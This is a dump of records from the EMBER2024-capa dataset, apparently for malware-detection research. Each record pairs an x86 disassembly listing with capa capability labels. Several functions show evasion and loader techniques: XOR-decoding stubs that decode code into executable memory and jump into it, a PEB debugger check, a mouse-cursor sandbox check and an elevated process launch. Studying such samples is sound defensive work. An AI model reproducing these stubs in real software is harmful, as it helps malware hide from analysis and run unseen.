joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44e030]
jne 0x40107a
repz ret
jmp fcn.00401ac1

Function at 0x409195
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404bf5
and dword [ebp - 4], 0
cmp dword [0x450794], 0
mov ebx, eax
jne 0x409246
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4092f7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4092f7
push eax
call fcn.00404b83
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x450794], eax
call esi
push eax
call fcn.00404b83
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x450798], eax
call esi
push eax
call fcn.00404b83
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45079c], eax
call esi
push eax
call fcn.00404b83
pop ecx
mov dword [0x4507a4], eax
test eax, eax
je 0x409246
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404b83
pop ecx
mov dword [0x4507a0], eax
mov eax, dword [0x4507a0]
cmp eax, ebx
je 0x40929e
cmp dword [0x4507a4], ebx
je 0x40929e
push eax
call fcn.00404bfe
push dword [0x4507a4]
mov esi, eax
call fcn.00404bfe
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40929e
test edi, edi
je 0x40929e
call esi
test eax, eax
je 0x409295
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409295
test byte [ebp - 0xc], 1
jne 0x40929e
or dword [ebp + 0x10], 0x200000
jmp 0x4092d7
mov eax, dword [0x450798]
cmp eax, ebx
je 0x4092d7
push eax
call fcn.00404bfe
pop ecx
test eax, eax
je 0x4092d7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4092d7
mov eax, dword [0x45079c]
cmp eax, ebx
je 0x4092d7
push eax
call fcn.00404bfe
pop ecx
test eax, eax
je 0x4092d7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x450794]
call fcn.00404bfe
pop ecx
test eax, eax
je 0x4092f7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4092f9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b010
Capabilities:
Set console window title

Disassembly:
mov eax, dword [0x2c2e01c]
sub esp, 0x1c
push ebx
mov ebx, dword [0x2c2de68]
push esi
mov esi, dword [0x44ef60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b040
push 0x44bf68
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2c2e01c]
mov dword [0x4508f4], esi
cmp eax, 0x114e
jne 0x40b06e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
lea eax, [esp + 0xc]
push eax
push str.liyezejozonoduhu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2c2e01c]
cmp eax, 0x2f
jne 0x40b08b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
call fcn.0040af50
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x401200
Capabilities:
Check for peb beingdebugged flag
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
sub esp, 0x2c
mov dword [edx], 0
mov dword [ecx], 0
mov dword [ebp - 0x1c], edx
xor edx, edx
mov dword [ebp - 0x20], ecx
call section..text
cmp word [edi], 0
je 0x40123f
mov edx, edi
lea esi, [esi]
add edx, 2
cmp word [edx], 0
jne 0x401230
sub edx, edi
sar edx, 1
add eax, edx
lea eax, [eax + eax + 2]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov esi, dword fs:[0x18]
mov eax, dword [esi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x4012e7
mov edx, eax
mov eax, edi
call section..text
mov dword [esp + 4], 0
lea edx, [eax*4 + 4]
mov edi, eax
mov dword [esp + 8], edx
mov eax, dword [esi + 0x30]
mov dword [ebp - 0x24], edx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
test eax, eax
je 0x4012f7
mov edx, dword [ebp - 0x24]
mov ecx, eax
lea esi, [eax + edx - 4]
test edi, edi
jle 0x401316
mov dword [ecx], ebx
cmp word [ebx], 0
je 0x4012f0
mov edx, ebx
lea esi, [esi]
add edx, 2
cmp word [edx], 0
jne 0x4012c0
sub edx, ebx
add edx, 2
add ecx, 4
add ebx, edx
cmp esi, ecx
jne 0x4012b0
mov dword [esi], 0
mov esi, dword [ebp - 0x1c]
mov dword [esi], edi
mov esi, dword [ebp - 0x20]
mov dword [esi], eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, 2
jmp 0x4012ce
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword [esi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
sub esp, 0xc
jmp 0x4012e7
mov esi, eax
jmp 0x4012d7
Function at 0x401a40
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
push ebx
mov ebx, eax
sub esp, 0x10
cmp word [edx], 0
je 0x401ac8
mov eax, edx
lea esi, [esi]
add eax, 2
cmp word [eax], 0
jne 0x401a58
sub eax, esi
add eax, 6
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
test eax, eax
je 0x401acf
xor ecx, ecx
movzx edx, word [esi + ecx]
mov word [eax + ecx + 4], dx
add ecx, 2
test dx, dx
jne 0x401a90
mov dword [eax], 0
mov edx, dword [ebx]
test edx, edx
je 0x401ab8
lea esi, [esi]
mov ebx, edx
mov edx, dword [edx]
test edx, edx
jne 0x401ab0
mov dword [ebx], eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov eax, 6
jmp 0x401a66
test byte [section..data], 2
jne 0x401ae4
mov dword [esp], 1
call sub.kernel32.dll_ExitProcess
mov dword [esp + 0xc], str.Out_of_memory__n
mov dword [esp + 8], str.StringListAppend
mov dword [esp + 4], 0x407000
mov dword [esp], 1
call fcn.00401720
jmp 0x401ad8
Function at 0x406020
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call dword [sym.imp.ucrtbase.dll__configure_narrow_argv]
call dword [sym.imp.ucrtbase.dll__initialize_narrow_environment]
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___argv
mov edi, dword [eax]
call dword [sym.imp.ucrtbase.dll__get_initial_narrow_environment]
mov ebx, eax
mov eax, dword [0x40003c]
cmp word [eax + 0x40005c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll__set_app_type]
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00406ac0
mov dword [esp], eax
call 0x406090
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll_exit]

Function at 0x406ac0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call fcn.004060b0
call sub.kernel32.dll_GetCommandLineA
mov ebx, eax
movzx eax, byte [eax]
test al, al
je 0x406b4f
cmp al, 9
je 0x406b40
cmp al, 0x20
je 0x406b40
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
nop
cmp al, 0x5c
je 0x406ba8
cmp al, 0x22
je 0x406bb8
mov dword [ebp - 0x6c], 0
movzx eax, byte [ebx + 1]
add ebx, 1
test al, al
je 0x406b4f
cmp al, 9
sete cl
cmp al, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x406b00
test edi, 1
jne 0x406b00
lea esi, [esi]
movzx eax, byte [ebx + 1]
add ebx, 1
cmp al, 9
je 0x406b40
cmp al, 0x20
je 0x406b40
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.kernel32.dll_GetStartupInfoA
sub esp, 4
test byte [ebp - 0x30], 1
jne 0x406b69
mov word [ebp - 0x2c], 1
mov dword [esp], 0
movzx esi, word [ebp - 0x2c]
call sub.kernel32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401e70
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x406b17
and dword [ebp - 0x6c], 1
jne 0x406b10
xor edi, 1
jmp 0x406b17
Function at 0x6d571799
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d5717e7
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d5717f8
push 0xd
pop eax
jmp 0x6d571822
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d5717fb
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d571db8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d574769
mov ebx, eax
cmp ebx, esi
je 0x6d571e2b
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d571e43
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d571db8
cmp eax, esi
jne 0x6d571e75
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d571e33
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d571658
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d5716c7
mov eax, esi
jmp 0x6d571e11
Function at 0x6d573f59
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8f4]
sub esp, 0x974
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x8f0], eax
mov eax, dword [ebp + 0x8fc]
push ebx
push esi
mov esi, 0x400
push esi
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call fcn.6d574769
add esp, 0x10
test eax, eax
je 0x6d5740b4
lea eax, [ebp - 0x14]
push eax
push str._s_ssvagent.exe
lea eax, [ebp + 0x3ec]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.MSVCR100.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x6d5740b4
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
xor ebx, ebx
push edi
mov byte [ebp + 0x7ec], bl
mov edi, 0x104
lea eax, [ebp + 0x7ec]
cmp dword [ebp + 0x900], ebx
je 0x6d573ff5
push str.__new
jmp 0x6d573ffa
push str.__old
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x904], ebx
je 0x6d57401b
push str.__high
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x90c], ebx
je 0x6d574035
push str.__settreatas
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x7ec]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], eax
pop edi
cmp dword [ebp + 0x904], ebx
je 0x6d57406b
call fcn.6d574769
test eax, eax
je 0x6d57406b
mov dword [ebp - 0x74], str.runas
cmp dword [ebp + 0x908], ebx
je 0x6d57407a
mov dword [ebp - 0x7c], 0x40
lea eax, [ebp + 0x3ec]
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x6d5740b4
cmp dword [ebp - 0x48], ebx
je 0x6d5740b0
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
jmp 0x6d5740b6
xor eax, eax
mov ecx, dword [ebp + 0x8f0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x8f4
leave
ret
Function at 0x6d574769
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x6d574778
pop dword [ebp - 0x48]
mov eax, 0x6d574778
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe8d5a61
add dword [ebp - 0x58], 0x3fc4eaea
mov dword [ebp - 0x54], 0x38353554
sub dword [ebp - 0x54], 0x601e90f
mov dword [ebp - 0x50], 0x6b0014aa
sub dword [ebp - 0x50], 0x1eb3d07c
mov dword [ebp - 0x4c], 0x5d70aaea
sub dword [ebp - 0x4c], 0x5d70aaea
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x3aaaf214
add dword [ebp - 0x58], 0x39c77742
mov dword [ebp - 0x54], 0xcc0128d3
sub dword [ebp - 0x54], 0x8a94c75e
mov dword [ebp - 0x50], 0xbd82f65b
sub dword [ebp - 0x50], 0x5a1389ef
mov dword [ebp - 0x4c], 0x2fcc697c
sub dword [ebp - 0x4c], 0x2fcc697c
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x38708
push 0
call eax
mov ecx, 0xb538f60b
add ecx, 0x4ac75678
mov edx, eax
mov edi, 0x6d57ee00
add edi, dword [ebp - 0x48]
mov esi, 0x4345f538
sub esi, 0xc77d5ac4
mov dword [ebp - 0x14], 0x3466786a
mov ebx, dword [edi]
xor dword [ebp - 8], 0x64ab2575
sub ebx, esi
add dword [ebp - 0x3c], 0xb8f7e86
mov dword [edx], ebx
sub dword [ebp - 0x18], edx
add edx, 0xc92ae5a
add edx, 0xf36d51aa
add edi, 0xaf9d45de
sub edi, 0xaf9d45da
loop 0x6d574885
add eax, 0x124df
xor ebx, ebx
add ebx, eax
add eax, 0x33feacdc
sub eax, 0x33feacd7
mov ecx, 0x6be7b5a0
add ecx, 0x16f4a60
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x6d5749f5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x39c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x63]
push ebx
push eax
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x64], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x20019
push 0x6d579aec
push SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
call fcn.6d574769
lea ecx, [ebp - 0x74]
test eax, eax
je 0x6d574a6d
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
jmp 0x6d574af9
push 0x2001f
push str.Classes
push dword [ebp - 0x80]
call fcn.6d574769
test eax, eax
je 0x6d574a88
lea ecx, [ebp - 0x74]
jmp 0x6d574a5b
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, 0x400
push esi
lea eax, [ebp - 0x64]
push eax
push ebx
jmp 0x6d574ade
push 0xa
lea eax, [ebp - 0x64]
push str.JavaPlugin
push eax
call dword [sym.imp.MSVCR100.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x6d574ac5
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d571db8
test eax, eax
je 0x6d574ac8
inc dword [ebp - 0x68]
push esi
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x74]
call edi
test eax, eax
je 0x6d574a9d
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
pop edi
pop esi
mov ecx, dword [ebp + 0x39c]
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x3a0
leave
ret
Function at 0x6d576733
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3b8]
sub esp, 0x438
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x3b4], eax
push ebx
xor ebx, ebx
push esi
mov esi, 0x20019
push esi
push 0x6d57a408
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x50], ebx
call fcn.6d574769
test eax, eax
je 0x6d5767ce
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x5c]
call fcn.6d5716c7
lea ecx, [ebp - 0x68]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
xor eax, eax
mov ecx, dword [ebp + 0x3b4]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x3b8
leave
ret
push esi
push 0x6d57a414
push dword [ebp - 0x80]
lea ecx, [ebp - 0x68]
call fcn.6d574769
test eax, eax
jne 0x6d576795
push esi
push 0x6d57a420
push dword [ebp - 0x68]
lea ecx, [ebp - 0x5c]
call fcn.6d574769
test eax, eax
je 0x6d57681c
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x5c]
call fcn.6d5716c7
lea ecx, [ebp - 0x68]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
mov eax, ebx
jmp 0x6d5767b7
mov esi, 0x400
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push ebx
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x6d5767f8
push edi
inc dword [ebp - 0x50]
mov edi, dword [ebp + 0x3c0]
lea eax, [ebp - 0x4c]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x6d57686f
cmp cl, bl
je 0x6d57686b
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x6d57686f
add eax, 2
add edi, 2
cmp cl, bl
jne 0x6d57684f
xor eax, eax
jmp 0x6d576874
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
lea eax, [ebp - 0x4c]
je 0x6d57689d
push esi
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x6d576843
jmp 0x6d5768d3
push 0x20019
push eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x74]
call fcn.6d574769
test eax, eax
jne 0x6d5768d3
push str.UseNewJavaPlugin
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x50], ebx
call fcn.6d574769
test eax, eax
jne 0x6d5768d3
xor ebx, ebx
cmp dword [ebp - 0x50], 1
sete bl
pop edi
jmp 0x6d5767f8

Function at 0x6d57731e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d57c188]
jne 0x6d577328
repz ret
jmp fcn.6d5779b9
Function at 0x1000e9b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000e9bf
pop dword [ebp - 0x28]
mov eax, 0x1000e9bf
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x5cc9a78c
add dword [ebp - 0x38], 0xf1889dbf
mov dword [ebp - 0x34], 0x1cfd5892
add dword [ebp - 0x34], 0x1535f3b3
mov dword [ebp - 0x30], 0xc4329669
add dword [ebp - 0x30], 0x8819adc5
mov dword [ebp - 0x2c], 0x530548e4
add dword [ebp - 0x2c], 0xacfab71c
lea eax, [ebp - 0x38]
push eax
mov eax, 0x69fd2623
add eax, 0xa6046a19
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xed75dda7
add dword [ebp - 0x38], 0x86fc8baf
mov dword [ebp - 0x34], 0xcc9659df
add dword [ebp - 0x34], 0x74d60796
mov dword [ebp - 0x30], 0xecaa7e03
add dword [ebp - 0x30], 0x76c4ee69
mov dword [ebp - 0x2c], 0x8f6f0821
add dword [ebp - 0x2c], 0x7090f7df
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xcd69a23f
sub eax, 0xbd681207
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x390d9
push 0
call eax
mov ecx, 0x51f9
mov edi, eax
mov ebx, 0x42629dc5
add ebx, 0xcd9f8a3b
add ebx, dword [ebp - 0x28]
mov edx, 0xc8f1fcb9
sub dword [ebp - 0x1c], edx
mov esi, dword [ebx]
add dword [ebp - 0x18], 0x242d33aa
sub esi, edx
sub dword [ebp - 0x20], ebx
mov dword [edi], esi
xor dword [ebp - 0x1c], edx
add edi, 0xfd442a18
sub edi, 0xfd442a14
add ebx, 0x6763050b
sub ebx, 0x67630507
loop 0x1000ead0
add eax, 0x2dea6ef3
add eax, 0xd216cbc4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4317693a
add ecx, 0xcce896c6
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret
Function at 0x1000692c
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
lea esi, [ebx - 0x6c]
mov ecx, esi
call fcn.1000b6b1
test eax, eax
jne 0x1000694f
mov eax, 0x80070005
jmp 0x10006a17
push esi
mov ecx, esi
call fcn.1000b6b1
test eax, eax
js 0x10006a15
cmp dword [ebx + 0x44], 0
je 0x10006a15
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 0x10]
push edi
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.1000a278
mov edi, eax
test edi, edi
je 0x100069a2
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [edi + 8], 0
mov dword [edi], vtable.CNameShowContactCardJob.0
mov dword [edi + 0xc], ecx
mov dword [edi + 0x10], edx
jmp 0x100069a4
xor edi, edi
test edi, edi
je 0x10006a14
mov eax, dword [edi]
push edi
call dword [eax + 4]
mov esi, dword [ebx + 0x44]
mov dword [ebp + 8], esi
add esi, 0x7c
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
inc dword [esi + 0x18]
push 8
pop ecx
call fcn.1000a278
mov ebx, eax
test ebx, ebx
je 0x10006a04
and dword [ebx], 0
mov dword [ebx + 4], edi
mov eax, dword [edi]
push edi
call dword [eax + 4]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x9c]
test ecx, ecx
je 0x100069ec
mov dword [ecx], ebx
jmp 0x100069f2
mov dword [eax + 0x98], ebx
mov dword [eax + 0x9c], ebx
push dword [eax + 0xa0]
call dword [sym.imp.kernel32.dll_SetEvent]
dec dword [esi + 0x18]
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
mov eax, dword [edi]
push edi
call dword [eax + 8]
pop edi
xor eax, eax
pop esi
pop ebx
leave
ret 4

Function at 0x1000a87d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x1000cae0
call fcn.1000c97c
mov ebx, ecx
lea eax, [ebp - 0x14]
xor ecx, ecx
push eax
push 0x20019
push ecx
push 0x1000e218
mov dword [ebp - 4], ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push SysReAllocString
mov dword [ebp - 0x14], ecx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000a925
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
and dword [ebp - 0x10], 0
push eax
push 0x20019
push 0
push ebx
push dword [ebp - 0x14]
call edi
push 4
pop ebx
test eax, eax
jne 0x1000a917
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push str.InsecureQI
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a917
cmp dword [ebp - 0x18], ebx
jne 0x1000a917
mov edi, dword [ebp - 0x1c]
cmp edi, 3
ja 0x1000a917
mov byte [ebp - 4], 2
cmp dword [ebp - 0x10], eax
je 0x1000a927
push dword [ebp - 0x10]
call esi
jmp 0x1000a927
mov byte [ebp - 4], bl
cmp dword [ebp - 0x10], 0
je 0x1000a925
push dword [ebp - 0x10]
call esi
xor edi, edi
mov dword [ebp - 4], 5
cmp dword [ebp - 0x14], 0
je 0x1000a939
push dword [ebp - 0x14]
call esi
mov eax, edi
call fcn.1000c95c
ret